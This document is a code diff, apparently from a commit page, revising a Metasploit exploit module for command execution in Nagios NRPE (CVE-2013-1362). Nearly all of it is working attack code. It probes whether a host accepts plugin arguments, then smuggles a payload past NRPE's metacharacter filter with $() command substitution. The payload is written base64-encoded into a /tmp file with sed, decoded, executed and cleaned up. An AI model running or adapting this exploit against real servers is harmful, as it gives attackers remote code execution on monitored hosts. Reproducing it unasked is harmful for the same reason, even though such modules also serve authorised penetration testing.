@@ -14,37 +14,33 @@ class Metasploit3 < Msf::Exploit::Remote
14
14
15
15
include Msf ::Exploit ::Remote ::Tcp
16
16
17
- # would like to replace these globals how would I do that?
18
- @ssl_socket = nil
19
- @force_ssl = false
20
17
def initialize ( info = { } )
21
18
super ( update_info ( info ,
22
- 'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution' ,
19
+ 'Name' => 'Nagios Remote Plugin Executor Arbitrary Command Execution' ,
23
20
'Description' => %q{
24
21
The Nagios Remote Plugin Executor (NRPE) is installed to allow a central
25
- Nagios server to actively poll information from the hosts it monitors. NRPE
26
- has a configuration option dont_blame_nrpe (with a caveat above it ENABLING
27
- THIS OPTION IS A SECURITY RISK!) which enables command-line arguments to be
28
- provided remote plugins. This option is often enabled, and while NRPE makes
29
- an effort to sanitize arguments to prevent command execution, it is possible
30
- to execute arbitrary commands. } ,
31
- 'DefaultOptions' => {
32
- 'EXITFUNC' => 'process' ,
33
- 'PrependFork' => 'yes' ,
34
- 'AppendExit' => 'yes' ,
35
-
36
- } ,
37
- 'Author' => [
38
- 'jwpari <jwpari[at]beersec.org>'
22
+ Nagios server to actively poll information from the hosts it monitors. NRPE
23
+ has a configuration option dont_blame_nrpe which enables command-line arguments
24
+ to be provided remote plugins. When this option is enabled, even when NRPE makes
25
+ an effort to sanitize arguments to prevent command execution, it is possible to
26
+ execute arbitrary commands.
27
+ } ,
28
+ 'Author' =>
29
+ [
30
+ 'Rudolph Pereir' , # Vulnerability discovery
31
+ 'jwpari <jwpari[at]beersec.org>' # Independently discovered and Metasploit module
39
32
] ,
40
- 'References' => [
41
- [ 'CVE' , '2012-5194' ] ,
42
- [ 'CVE' , '2013-1362' ] ,
33
+ 'References' =>
34
+ [
35
+ [ 'CVE' , '2013-1362' ] ,
36
+ [ 'OSVDB' , '90582' ] ,
37
+ [ 'BID' , '58142' ] ,
38
+ [ 'URL' , 'http://www.occamsec.com/vulnerabilities.html#nagios_metacharacter_vulnerability' ]
43
39
] ,
44
- 'License' => MSF_LICENSE ,
45
- 'Platform' => [ 'unix' ] ,
46
- 'Arch' => [ ARCH_CMD ] ,
47
- 'Payload' =>
40
+ 'License' => MSF_LICENSE ,
41
+ 'Platform' => 'unix' ,
42
+ 'Arch' => ARCH_CMD ,
43
+ 'Payload' =>
48
44
{
49
45
'DisableNops' => true ,
50
46
'Compat' =>
@@ -54,32 +50,36 @@ def initialize(info = {})
54
50
# *_perl, *_python and *_ruby work if they are installed
55
51
}
56
52
} ,
57
- 'Targets' => [
58
- [ 'Nagios Remote Plugin Executor prior to 2.14' , { } ]
53
+ 'Targets' =>
54
+ [
55
+ [ 'Nagios Remote Plugin Executor prior to 2.14' , { } ]
59
56
] ,
60
57
'DefaultTarget' => 0 ,
61
- 'DisclosureDate' => 'Sep 23 2012 '
58
+ 'DisclosureDate' => 'Feb 21 2013 '
62
59
) )
63
60
64
61
register_options (
65
62
[
66
63
Opt ::RPORT ( 5666 ) ,
67
- OptString . new ( 'CMD' , [ true , "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg" , 'check_procs' ] ) ,
64
+ OptEnum . new ( 'NRPECMD' , [
65
+ true ,
66
+ "NRPE Command to exploit, command must be configured to accept arguments in nrpe.cfg" ,
67
+ 'check_procs' ,
68
+ [ 'check_procs' , 'check_users' , 'check_load' , 'check_disk' ]
69
+ ] ) ,
68
70
# Rex::Socket::Tcp will not work with ADH, see comment with replacement connect below
69
71
OptBool . new ( 'NRPESSL' , [ true , "Use NRPE's Anonymous-Diffie-Hellman-variant SSL " , true ] )
70
72
] , self . class )
71
73
end
72
74
73
- def send_message ( sock , message )
74
- checksum = 0
75
-
75
+ def send_message ( message )
76
76
packet = [
77
- 2 , # packet version
78
- 1 , # packet type, 1 => query packet
79
- 0 , # checksum, to be added later
80
- 0 , # result code, discarded for query packet
81
- message , # the command and arguments
82
- 0 # padding
77
+ 2 , # packet version
78
+ 1 , # packet type, 1 => query packet
79
+ 0 , # checksum, to be added later
80
+ 0 , # result code, discarded for query packet
81
+ message , # the command and arguments
82
+ 0 # padding
83
83
]
84
84
packet [ 2 ] = Zlib ::crc32 ( packet . pack ( "nnNna1024n" ) ) # calculate the checksum
85
85
begin
@@ -92,61 +92,56 @@ def send_message(sock, message)
92
92
return res . unpack ( "nnNnA1024n" ) [ 4 ] unless res . nil?
93
93
end
94
94
95
+ def setup
96
+ @ssl_socket = nil
97
+ @force_ssl = false
98
+ super
99
+ end
100
+
95
101
def exploit
96
102
97
103
if check != Exploit ::CheckCode ::Vulnerable
98
104
fail_with ( Exploit ::Failure ::NotFound , "Host does not support plugin command line arguments or is not accepting connections" )
99
105
end
100
106
101
- self . connect
102
- print_status ( "Sending request..." )
103
-
104
- elf = Msf ::Util ::EXE . to_linux_x86_elf ( framework , payload . raw )
105
-
106
107
stage = "setsid nohup #{ payload . encoded } & "
107
-
108
108
stage = Rex ::Text . encode_base64 ( stage )
109
-
110
109
# NRPE will reject queries containing |`&><'\"\\[]{}; but not $() :)
111
-
112
- command = datastore [ 'CMD' ]
110
+ command = datastore [ 'NRPECMD' ]
113
111
command << "!"
114
112
command << "$($(rm -f /tmp/$$)" # Delete the file if it exists
115
-
116
113
# need a way to write to a file without using redirection (>)
117
114
# cant count on perl being on all linux hosts, use GNU Sed
118
115
# TODO: Probably a better way to do this, some hosts may not have a /tmp
119
116
command << "$(cp -f /etc/passwd /tmp/$$)" # populate the file with at least one line of text
120
117
command << "$(sed 1i#{ stage } -i /tmp/$$)" # prepend our stage to the file
121
118
command << "$(sed q -i /tmp/$$)" # delete the rest of the lines after our stage
122
119
command << "$(eval $(base64 -d /tmp/$$) )" # decode and execute our stage, base64 is in coreutils right?
123
- command << "$(kill -9 $$))" # kill check_procs parent (popen'd sh) so that it never executes
124
- send_message ( sock , command )
125
- handler
126
- self . disconnect
127
-
120
+ command << "$(kill -9 $$)" # kill check_procs parent (popen'd sh) so that it never executes
121
+ command << "$(rm -f /tmp/$$))" # clean the file with the stage
122
+ connect
123
+ print_status ( "Sending request..." )
124
+ send_message ( command )
125
+ disconnect
128
126
end
129
127
130
128
def check
131
-
132
- print_status ( "Checking if remote nrpe supports command line arguments" )
129
+ print_status ( "Checking if remote NRPE supports command line arguments" )
133
130
134
131
begin
135
132
# send query asking to run "fake_check" command with command substitution in arguments
136
- self . connect
137
- res = send_message ( sock , "__fake_check!$()" )
133
+ connect
134
+ res = send_message ( "__fake_check!$()" )
138
135
# if nrpe is configured to support arguments and is not patched to add $() to
139
136
# NASTY_META_CHARS then the service will return:
140
137
# NRPE: Command '__fake_check' not defined
141
138
if res =~ /not defined/
142
- return Exploit ::CheckCode ::Vulnerable
143
- end
144
-
139
+ return Exploit ::CheckCode ::Vulnerable
140
+ end
145
141
# Otherwise the service will close the connection if it is configured to disable arguments
146
142
rescue EOFError => eof
147
143
return Exploit ::CheckCode ::Safe
148
144
rescue Errno ::ECONNRESET => reset
149
-
150
145
unless datastore [ 'NRPESSL' ] or @force_ssl
151
146
print_status ( "Retrying with ADH SSL" )
152
147
@force_ssl = true
@@ -185,6 +180,7 @@ def connect(global = true, opts={})
185
180
186
181
return self . sock
187
182
end
183
+
188
184
def disconnect
189
185
@ssl_socket . sysclose if datastore [ 'NRPESSL' ] or @force_ssl
190
186
super
0 commit comments